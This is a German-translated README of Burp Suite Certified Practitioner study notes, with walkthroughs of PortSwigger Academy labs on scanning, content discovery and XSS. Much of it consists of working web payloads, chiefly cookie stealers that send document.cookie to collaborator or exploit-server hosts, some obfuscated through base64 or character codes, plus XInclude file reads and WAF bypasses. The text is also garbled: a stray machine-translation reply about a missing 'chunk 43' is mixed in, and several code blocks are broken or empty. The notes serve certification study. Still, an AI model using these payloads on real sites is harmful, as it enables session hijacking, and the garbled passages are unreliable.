botesjuan/burp-suite-certified-practitioner-exam-study
Praktische Studiennotizen und Walkthroughs für PortSwigger Academy Labs, die Web-Schwachstellen, Payloads, Enumeration und BSCP-Prüfungsstrategien abdecken.
Dies sind meine Lernnotizen mit über 110 PortSwigger Academy Labs. Ich habe diese Labs verwendet, um die Prüfung zum Burp Suite Certified Practitioner im Jahr 2023 zu bestehen. Meine BSCP-Qualifikation.
Für weitere Informationen besuche PortSwigger Academy, um die neuesten Lernmaterialien zu erhalten.
SCANNING - Enumeration
Focus Scanning
Scan non-standard entities
FOOTHOLD - Stufe 1
Content Discovery
DOM-XSS
XSS Cross Site Scripting
Web Cache Poison
Host Headers
HTTP Request Smuggling
Brute force
Authentication
PRIVILEGE ESCALATION - Stufe 2
CSRF - Account Takeover
Password Reset
SQLi - SQL Injection
JWT - JSON Web Tokens
Prototype pollution
API Testing
Access Control
GraphQL API Endpoints
CORS - Cross-origin resource sharing
DATA EXFILTRATION - Stufe 3
XXE - XML entities & Injections
SSRF - Server side request forgery
SSTI - Server side template injection
SSPP - Server Side Prototype Pollution
LFI - File path traversal
File Uploads
Deserialization
OS Command Injection
APPENDIX
Python Scripts
Payloads
Word lists
Focus target scanning
Approach
Extra Training Content
Ich empfehle, die Mystery lab challenge so oft wie möglich zu absolvieren, um deine Fähigkeiten zu testen und die Zeit zu verkürzen, die du brauchst, um die Schwachstellen zu identifizieren, bevor du die Prüfung ablegst.
Ich fand auch diesen Ratschlag von PortSwigger zum Wiederholen deiner Prüfung sehr informativ.
Sieh dir CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks an, um einen frischen Blick auf die BSCP-Prüfung 2024 zu bekommen.
Danke für den unterstützten Kaffee,
\o/
Mein Burp Suite Certified Practitioner-Zertifikat.
Die Enumeration der Webanwendungen beginnt mit initialem und gezieltem Scannen bei zeitlich begrenzten Engagements.
Focus Scanning
Scan non-standard entities
Aufgrund des knappen Zeitlimits bei Engagements oder in der Prüfung scanne definierte Einfügepunkte für bestimmte Anfragen.
Der Scanner erkannte eine XML-Injection-Schwachstelle am Parameter storeId, was zum Lesen der geheimen Carlos-Datei führte.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>Out-of-Band-XInclude-Anfrage, benötigt eine gehostete DTD, um lokale Datei zu lesen.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
PortSwigger Lab: Schwachstellen schnell mit gezieltem Scannen entdecken
Scannen nicht standardmäßiger Datenstrukturen mithilfe der Burp-Funktion, einen ausgewählten Einfügepunkt nach ausgewähltem Text in Antworten oder Anforderungen zu durchsuchen.
Identifizieren Sie die Schwachstelle über die Burp-Scanner-Ergebnisse.
Stehlen Sie in diesem Fall mithilfe des identifizierten XSS die Cookies des Admin-Benutzers, indem Sie das Payload am identifizierten Einfügepunkt platzieren.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>URL-kodieren Sie wichtige Zeichen.
>Verwenden Sie das Cookie des Admin-Benutzers, um auf das Admin-Panel zuzugreifen, indem Sie es in der aktuellen Browsersitzung ersetzen.
[PortSwigger Lab: Scannen nicht standardmäßiger Datenstrukturen](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# Foothold
# Content Discovery
>Die Enumeration des Ziels beginnt mit dem Fuzzing von Web-Verzeichnissen und -Dateien. Nutzen Sie entweder die Burp-Engagement-Tools, die Content-Discovery-Option, um versteckte Pfade und Dateien zu finden, oder verwenden Sie `FFUF`, um Web-Verzeichnisse und -Dateien aufzulisten. Ein Blick auf `robots.txt` oder `sitemap.xml` kann Inhalte aufdecken.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burp-Engagement-Tool, Inhaltserkennung mit meiner kompilierten Wortliste burp-labs-wordlist als benutzerdefinierte Dateiliste.
Untersuchen Sie die Branches des Git-Repository in der lokal heruntergeladenen Kopie mit dem Tool
git-cola. Wählen Sie dann Letzten Commit rückgängig machen und extrahieren Sie das Admin-Passwort aus dem Diff-Fenster.``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/
[PortSwigger Lab: Informationsoffenlegung im Versionskontrollverlauf](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>Öffne immer den `source code`, um nach Entwicklerkommentaren zu suchen, die versteckte Dateien oder Pfade preisgeben. Das folgende Beispiel führt zur [Deserialisierung des Symphony-Tokens](#deserialization).
-----
## DOM-basiertes XSS
[DOM-XSS-Indikatoren](#identify-dom-xss)
[DOM-XSS mit DOM Invader identifiziert](#dom-invader)
[DOM-XSS AngularJS](#vuln-angularjs)
[DOM-XSS document.write in select](#doc-write-location-search)
[DOM-XSS JSON.parse-Webnachrichten](#dom-xss-jsonparse-web-messages)
[DOM-XSS AddEventListener-JavaScript-URL](#dom-xss-addeventlistener-javascript-url)
[DOM-XSS AddEventListener-Ads-Nachricht](#dom-xss-addeventlistener-ads-message)
[DOM-XSS Eval reflektierter Cookie-Dieb](#reflected-dom-xss)
[DOM-XSS LastviewedProduct-Cookie](#dom-xss-lastviewedproduct-cookie)
### DOM-XSS identifizieren
>DOM-basierte XSS-Schwachstellen entstehen, wenn JavaScript Daten aus einer vom Angreifer kontrollierbaren Source, wie der URL, übernimmt und Code an eine Sink übergibt, die dynamische Codeausführung unterstützt.
>Teste, welche Zeichen das Entkommen aus dem `source code`-Injektionspunkt ermöglichen, indem du den folgenden Fuzzer-String verwendest.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
Überprüfen Sie den
Quellcode, um die Quellen , Senken oder Methoden zu identifizieren, die zu einem Exploit führen können, Liste von Beispielen:
Verwenden Sie das Dom-Invader-Plugin und setzen Sie den Canary auf einen Wert wie
domxss. Es erkennt DOM-XSS-Senken, die ausgenutzt werden können.
Der folgende AngularJS-Ausdruck kann in die Suchfunktion injiziert werden, wenn spitze Klammern und doppelte Anführungszeichen HTML-kodiert sind. Die Schwachstelle wird identifiziert, indem man erkennt, dass die Suchzeichenfolge in eine ng-app-Direktive eingeschlossen ist und das Skript
/js/angular 1-7-7.jseingebunden ist. Überprüfen Sie den HTML-Code, um dieng-app-Direktive zu identifizieren, die AngularJS mitteilt, dass dies das Root-Element der AngularJS-Anwendung ist.
PortSwigger-Lab-Payload unten:```JavaScript {{$on.constructor('alert(1)')()}}
>[Cookie-Stealer-Payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) mit `on.constructor`, der in einem iframe platziert und auf einem Exploit-Server gehostet werden kann, wodurch das Session-Cookie des Opfers an Burp Collaborator gesendet wird.
>[PortSwigger-Cheat-Sheet für die Cross-Site-Scripting-Referenz](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
Hinweis: Das Session-Cookie darf das HttpOnly-Sicherheitsflag nicht gesetzt haben, damit XSS gelingt.
Das Ziel ist anfällig für DOM-XSS in der Funktion zur Lagerbestandsprüfung.
source codezeigt, dassdocument.writedas Sink ist, das zusammen mitlocation.searchverwendet wird, wodurch wir den storeId-Query-Parameter mit einem Wert hinzufügen können, der das JavaScript-Payload in einer<select>-Anweisung enthält.
Führen Sie mit dem untenstehenden Payload einen Test durch, um die Injection in die modifizierte GET-Anfrage zu identifizieren, indem Sie
">zum Ausbrechen verwenden.```html /product?productId=1&storeId=fuzzer">fuzzer
>DOM XSS [Cookie-Stealer-Payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) in einem `document.write`-Sink mit der Quelle `location.search` innerhalb eines `<select>`-Elements. Dies kann dem Opfer über den Exploit-Server in einem `
Am Ende der iframe-onload-Werte steht ein "*", um anzugeben, dass das Ziel beliebig ist.
Setzen Sie mithilfe der Browser-DevTools-Konsole ein ungesichertes Test-Cookie im Browser, um es während der Tests für POC XSS zu verwenden.
Cookie-Diebstahl-Payloads.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";
[PortSwigger Lab: DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>DOM Invader wurde verwendet, um DOM-XSS über Web-Nachrichten zu identifizieren und zu testen.
>Spielen Sie die Post-Nachricht mit DOM Invader erneut ab, nachdem Sie die JSON-Daten geändert haben.```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}
PortSwigger: DOM-XSS mit PortSwigger DOM Invader identifizieren
Beim Überprüfen des
source codeder Seite identifizieren wir denaddeventlistener-Aufruf für eine Web-Message, aber es gibt eineif-Bedingung, die prüft, ob der Stringhttp/senthält.
Die unten gehostete Payload des Exploit-Servers enthält den
https-String und umgeht erfolgreich dieif-Bedingungsprüfung.```html
Sobald das Opfer-Cookie aktualisiert wurde, erfasst das Exploit-Server-Log dessen geheimen Cookie-Wert.
>Mit der großen Hilfe von ***ShehmeerAbidRajput*** habe ich dieses Labor mit dem von ihm bereitgestellten Cookie-Stealer-Payload aktualisiert.
[PortSwigger Lab: DOM-based cookie manipulation](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## Cross Site Scripting
[XSS Resources](#xss-resources)
[Identify allowed Tags](#identify-allowed-tags)
[Bypass Blocked Tags](#bypass-blocked-tags)
[XSS Assign protocol](#xss-assign-protocol)
[Custom Tags not Blocked](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[Reflected String XSS](#reflected-string-xss)
[Reflected String Extra Escape](#reflected-string-extra-escape)
[AngularJS Sandbox Escape](#angularjs-sandbox-escape)
[XSS Template Literal](#xss-template-literal)
[XSS via JSON into EVAL](#xss-via-json-into-eval)
[Stored XSS](#stored-xss)
[Stored DOM XSS](#stored-dom-xss)
[XSS in SVG Upload](#xss-svg-upload)
### XSS Resources
>XSS-Ressourcenseiten zum Nachschlagen von Payloads für **Tags** und **Events**.
+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS Study notes on XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>Das CSP-Evaluator-Tool prüft, ob eine Content Security Policy eingerichtet ist, um XSS-Angriffe zu entschärfen. Beispiel: Wenn die `base-uri` fehlt, kann der Angreifer die alternative Exploit-Methode nutzen, die unter [Upgrade stored self-XSS](#upgrade-stored-self-xss) beschrieben wird.
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>Wenn die maximale Länge des Eingabefelds nur 23 Zeichen beträgt, nutze diese Ressource für **Tiny XSS Payloads**.
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>Setze ein ungesichertes Test-Cookie im Browser über die Browser-Entwicklertools-Konsole, um es während Tests für POC-XSS zu verwenden: [cookie stealer payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md).```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
Grundlegende XSS-Payloads zur Identifizierung von Filterkontrollen der Anwendungssicherheit für die Verarbeitung von Daten, die in HTTP-Anfragen empfangen werden.```html
[No input text provided to translate.]```html
"><svg><animatetransform onbegin=alert(1)>
I'm ready to translate the content, but the input section appears to be empty. Please provide the Markdown content for chunk 43, and I'll translate it from English to German while preserving all formatting and code exactly as-is.``` <>'"
>Das Absenden der obigen Payloads kann die Antwortmeldung ***"Tag is not allowed"*** zur Folge haben, da die Web Application Firewall (WAF) Injektionen blockiert.
>Identifizieren Sie dann die erlaubten Tags mithilfe der [PortSwigger Academy Methodology](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).
>Online-Encoder und -Decoder für URL und Base64
+ [URL-Decodierung und -Codierung](https://www.urldecoder.org/)
+ [BASE64-Decodierung und -Codierung](https://www.base64encode.org/)
>Dieses Lab bietet eine großartige **Methodik**, um die erlaubten HTML-Tags und -Events für die Erstellung von POC XSS zu ***identifizieren***.
>Hosten Sie den **iframe**-Code auf dem Exploit-Server und übermitteln Sie den Exploit-Link an das Opfer.```html
Die Anwendungssteuerung gibt die Meldung "Tag ist nicht erlaubt" aus, wenn grundlegende XSS-Payloads eingefügt werden, aber mit der obigen Methodik wird entdeckt, dass SVG-Markup erlaubt ist. Dieses Payload stiehlt als POC mein eigenes Session-Cookie.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>Platziere die obige Payload auf dem Exploit-Server und füge die URL mit dem Suchwert in einen ```iframe``` ein, bevor du sie dem Opfer im untenstehenden Codeblock zustellst.```html
PortSwigger Lab: Reflektiertes XSS mit etwas erlaubtem SVG-Markup
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=htmlLab zum Testen von XSS in einem HTML-Kontext, bei dem in der Suchfunktion nichts kodiert ist. Mithilfe dieses Labs wird der Exploit des zuweisbaren Protokolls mit Standort
javascriptgetestet, der von PortSwigger-XSS-Forschung identifiziert wurde. Im Payload ist%0aenthalten, das das ASCII-Zeilenumbruchzeichen darstellt.```html
[PortSwigger Lab: Reflektiertes XSS in HTML-Kontext ohne Kodierung](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### Benutzerdefinierte Tags nicht blockiert
>Application antwortet mit der Meldung ***"Tag ist nicht erlaubt"***, wenn versucht wird, XSS-Payloads einzufügen, aber wenn wir ein benutzerdefiniertes Tag erstellen, wird es umgangen.```html
<xss+id=x>#x';
Ermitteln Sie, ob das obige benutzerdefinierte Tag in der Suchfunktion nicht blockiert ist, indem Sie die Antwort beobachten. Erstellen Sie das folgende Payload, um das Session-Cookie out-of-band zu stehlen.```
>**Hinweis:** Das benutzerdefinierte Tag mit der ID ```x```, das einen **onfocus**-Event-Handler enthält, der die Funktion ```document.location``` auslöst. Das **HASH**-Zeichen `#` am Ende der URL fokussiert dieses Element, sobald die Seite geladen wird, wodurch der Payload aufgerufen wird. Hosten Sie das Payload-Skript in ```script```-Tags auf dem Exploit-Server und senden Sie es an das Opfer. Unten ist derselbe Payload, aber im **URL-encoded**-Format.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>
z3nsh3ll - erklärt benutzerdefinierte Tags für XSS-Angriffe
Der folgende iframe verwendet das HASH-Zeichen
#am Ende der URL, um den OnHashChange-XSS-Cookie-Dieb auszulösen.```JavaScript
>Hinweis: Wenn das Cookie mit gesetztem **HttpOnly**-Flag sicher ist, kann das Cookie nicht per XSS gestohlen werden.
>PortSwigger Lab-Payload führt print aus.```JavaScript
Hinweis: Identifizieren Sie die anfällige jquery-Version 1.8.2, die im
Quellcodeenthalten ist, mit der CSS-Selektor-Aktion beim hashchange.
PortSwigger Lab: DOM-XSS in jQuery-Selector-Sink mithilfe eines hashchange-Ereignisses
Crypto-Cat: DOM-XSS in jQuery-Selector-Sink mithilfe eines hashchange-Ereignisses
Beim Übermitteln einer Suchzeichenfolge und Überprüfen des
Quellcodesder Suchergebnisseite wird die JavaScript-String-Variable identifiziert, die die Suchzeichenfolgetracker.gifimQuellcodemit einer Variablen namenssearchTermswiderspiegelt.```html
Bei Verwendung eines Payloads
test'payloadwird beobachtet, dass ein einfaches Anführungszeichen mit Backslash maskiert wird, wodurch ein Ausbrechen aus dem String verhindert wird.```JavaScript
>Das Ändern des Payloads auf einen Cookie-Stealer, der das Session-Token an Burp Collaborator übermittelt.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>
Wenn dieser Payload in
iframeplatziert wird, erlaubt die Zielanwendung das Einbetten nicht und gibt die Meldung aus:refused to connect.
PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
Beim BSCP-Examen hoste den folgenden Payload auf dem Exploit-Server innerhalb von
<script>-Tags und die Suchanfrage darunter, bevor sie URL-kodiert wird.```
>Exploit Server hostet die im Suchbegriff reflektierte Schwachstelle, die an das Opfer gesendet wird, um dessen Session-Cookie zu erhalten.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
Die Anwendung gab die Fehlermeldung
Tag is not allowedaus, und diese wird mit</ScRiPt >umgangen.
Siehe im
source codedie Variable namenssearchTerms. Wenn du den Payloadfuzzer'payloadübermittelst, siehst du, dass das einfache Anführungszeichen mit einem Backslash escaped wird. Sende dann einenfuzzer\payload-Payload und erkenne, dass der Backslash nicht escaped wird.``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>Mit einem einzelnen **Backslash**, einfachen Anführungszeichen und **Semikolon** entkommen wir der JavaScript-String-Variable. Dann verwenden wir Backticks, um den Pfad ```document.location``` einzuschließen, was es dem Cookie-Dieb ermöglicht, den Anwendungsschutz zu umgehen.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
Mit Hilfe von Trevor habe ich daraus einen Cookie-Diebstahl-Payload gemacht, unter Verwendung von Backticks. Danke Trevor, hier ist sein Youtube-Walkthrough: XSS JavaScript String Angle Brackets Double Quotes Encoded Single
PortSwigger-Expert-Lab-Übung mit AngularJS 1.4.4; Version 1.x hat das Ende ihrer Lebensdauer erreicht und wird nicht mehr gewartet.
Dieses Labor verwendet AngularJS auf ungewöhnliche Weise, bei der die$eval-Funktion nicht verfügbar ist und du keine Strings in AngularJS verwenden kannst.
Ziel: Führe einen Cross-Site-Scripting-Angriff aus, der die Sandbox umgeht und den Payload ohne Verwendung der$eval-Funktion ausführt.
Ermittle das
angular.moduleim JavaScript-Quellcode:
Der Wert der
key-Variablen, nämlichsearch, wird in das dynamisch erstellte JavaScript injiziert.
Hier ist kein offensichtliches Sicherheitsproblem erkennbar. Die Sicherheit dieses Codes hängt jedoch davon ab, wie dieser Controller und die extrahierten Werte im Backend verwendet werden.
Die
$parse-Methode wertet den AngularJS-Ausdruck$scope.queryaus.
Verwende das
&, um ein zweites Schlüssel-Wert-Paar hinzuzufügen und den dynamisch generierten Payload-Code zu testen.
Ändere den Namen des zweiten hinzugefügten Schlüssel-Wert-Paares in „expression“, um festzustellen, ob es ausgewertet wird:
/?search=key1value&7*7=payload– das mathematische Ergebnis ist 49.
Das Erstellen eines Payloads schlägt fehl, wenn
alert()als zweiter Schlüsselname verwendet wird, wegen der Art, wie AngularJS den Code durch den Parser kompiliert.
AngulaJS sandbox - Siehe PortSwigger-Dokumente zur Client-seitigen Template-Injection
PortSwigger CheatSheet Reference Sandbox 1.4.4 escape``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Collaborator-Payload ***Cookie-Dieb***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
Die ASCII-Dezimalwerte für jedes Zeichen in der obigen Payload-Zeichenfolge, durch Kommas getrennt. Jede Zahl stellt den ASCII-Dezimalwert des entsprechenden Zeichens in der Payload-Zeichenfolge dar.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>Python-Skript zum Konvertieren beliebiger Payloads in ASCIII-Dezimalwerte:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')
Cookie-Stealer-Payload im ASCII-Dezimalwert, AngularJS-Ausdruck, der durch die Sandbox ausgeführt wird, aus den PortSwigger-Lösungsschritten:
toString(), um einen String ohne Verwendung von Anführungszeichen zu erstellen.charAt-Funktion für jeden String.orderBy-Filter übergeben werden.toString() verwendest, um einen String zu erstellen, sowie die String-Konstruktor-Eigenschaft.fromCharCode-Methode, um unseren Payload zu generieren, indem Zeichencodes in das Payload-Beispiel x=alert(1) umgewandelt werden.charAt-Funktion wurde überschrieben, AngularJS erlaubt es diesem Code, die Sandbox zu verlassen.
PortSwigger Expert Lab: Reflektiertes XSS mit AngularJS-Sandbox-Escape ohne Strings
JavaScript-Template-Literal wird durch die Backticks ` identifiziert, die verwendet werden, um den String zu umschließen. Im Zielcode identifizieren wir, dass der Suchstring innerhalb eines Template-Literal-Strings reflektiert wird.``` ${alert(document.cookie)}
>Dank an ***Adrián Gyurácz*** für den großartigen Bypass, da ich für dieses Labor keinen funktionierenden Cookie-Stealer-Bypass durch alle Filter hinbekommen habe.
>***Adrián Gyurácz*** hat den folgenden Forschungsartikel von Portswigger gefunden, der zur Lösung führte:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### Darauf aufbauend sein Payload:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
Da das ursprüngliche Lab-Sitzungscookie Schutzflags besitzt, erstellte er für den Proof of Concept ein Test-Dummy-Cookie:
Nachdem ich den Payload in die Suchfunktion geschickt hatte, bekam ich einen Cookie-Stealer-Treffer:
Ich hoffe, andere finden seine Forschung hilfreich, und nehme sie in meinen Leitfaden auf. Tx.
Diese PortSwigger-Practice-Exam-App führt eine Suchfunktion aus, und der DOM Invader identifiziert den Sink in einer
eval()-Funktion. Die Suchergebnisse werden als JSON-Inhaltstyp abgelegt.
Teste das Entkommen aus den
JSON-Daten und injiziere den Test-Payload"-prompt(321)-"in den JSON-Inhalt.
Beim Versuch, mit dem Payload
"-alert(document.cookie)-"den Wert unseres eigenen Sitzungscookies zu erhalten, wird eine Filtermeldung zurückgegeben, die"Potentially dangerous search term"angibt.
Die WAF verhindert gefährliche Suchfilter und -Tags. Anschließend umgehen wir die WAF-Filter mithilfe von JavaScript-Globalvariablen.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: XSS-Filter mithilfe von JavaScript globalen Variablen umgehen](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>Unten ist das Haupt-[Cookie-Stealer-Payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) vor der BASE-64-Kodierung.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
Als Nächstes wird der Payload mithilfe des Base64-kodierten Werts des obigen Cookie-Stealer-Payloads kodiert.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>Teste Payload an unserem eigenen Session-Cookie in der Suchfunktion.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
Aufschlüsselung der obigen Payload-Zusammenbaustufen:
Dieses Bild zeigt, wie Burp Collaborator den Cookie-Wert als Proof of Concept empfängt, bevor der Payload für
Deliver exploit to victimeingerichtet wird.
URL-kodieren Sie alle Zeichen in diesem Payload und verwenden Sie das Ergebnis als Wert des Parameters
/?SearchTerm=.```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>Das Hosten des `IFRAME` auf dem Exploit-Server führt zu einer **Fehler**meldung, dass die Verbindung zum Ziel verweigert wird. Stattdessen hosten Sie den Payload auf dem Exploit-Server zwischen `<script>`-Tags.```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>
HINWEIS:
Deliver exploit to victimeinige Male ausführen, falls der aktive Benutzer keine HTTP-Anfrage an den Collaborator sendet. Ersetze den aktuellen Cookie-Wert durch das gestohlene Cookie, um den aktiven Benutzer zu impersonieren, und fahre mit Stufe 2 der Practice Exam fort.
PortSwigger Practice Exam - Stufe 1 - Foothold
Stored XSS kann auch Blind XSS sein. Falls die alert-Payload nicht ausgelöst wird, siehe das NahamSec-Blind-XSS-Video für eine Payload, auf die das Opfer klicken soll, Beispiel:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
Wenn eine gespeicherte Eingabe Opfer, die auf die Links klicken, umleitet, sendet sie eine Anfrage an den Exploit-Server. Verwende den folgenden Beispielcode, um Stored XSS zu identifizieren.```HTML
>Unten zeigen die Logeinträge die Anfragen an den Exploit-Server, und aus den Logs können wir ***erkennen***, dass `/img` und `/video` der obigen Tags in der Anwendung erlaubt waren und beim Zugriff Anfragen gestellt haben.
>Cross-Site-Scripting im Blog-Post-Kommentar gespeichert. Dieses Cookie-Stealer-Payload sendet dann das Session-Cookie des Opfers an die Logs des Exploit-Servers.```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
Produkt- und Shop-Suche```html ?productId=1&storeId=">
#### Stored XSS Blogbeitrag
>Cookie-Dieb für Blogbeiträge mit Stored XSS, der das Dokument-Cookie an den Exploit-Server sendet.```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
Das untenstehende Ziel weist eine gespeicherte XSS-Schwachstelle in der Blog-Kommentarfunktion auf. Stehlen Sie das Sitzungscookie eines Opferbenutzers, der die Kommentare nach deren Veröffentlichung ansieht, und verwenden Sie dann dessen Cookie, um sich als der Benutzer auszugeben.
Fetch API JavaScript-Cookie-Stealer-Payload im Blog-Kommentar.```JavaScript
>[IPPSEC YouTube mit dem HackTheBox Bookworm](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737), zeigt den `payload.js`-JavaScript-Code, wie er `fetch` verwendet und JavaScript lernt.
[PortSwigger Lab: Cross-Site-Scripting ausnutzen, um Cookies zu stehlen](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### Stored self-XSS erweitern
>Blogkommentar mit **Stored self-XSS**, der das Payload erweitert, um Opferinformationen aus dem DOM zu stehlen. Die Funktion **edit content** spiegelt die Eingabe im `<script>`-Tag wider. Das CSRF-Token für die **write comment**-Funktion ist dasselbe wie das für die **edit content**-Funktion. Das folgende Payload verwendet die Funktion **write comment**, um das Opfer dazu zu bringen, einen Blogeintrag in seinem eigenen Blog mit unserem schädlichen Inhalt zu erstellen.
>Das Zeichen `a` wird hinzugefügt, um das `#`-Hash-Zeichen aus dem anfänglichen `source code` der Anwendung zu maskieren.
>Der unten stehende `source code` im Blogeintrag ist der vollständige Exploit zum Stehlen von Opferinformationen.```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
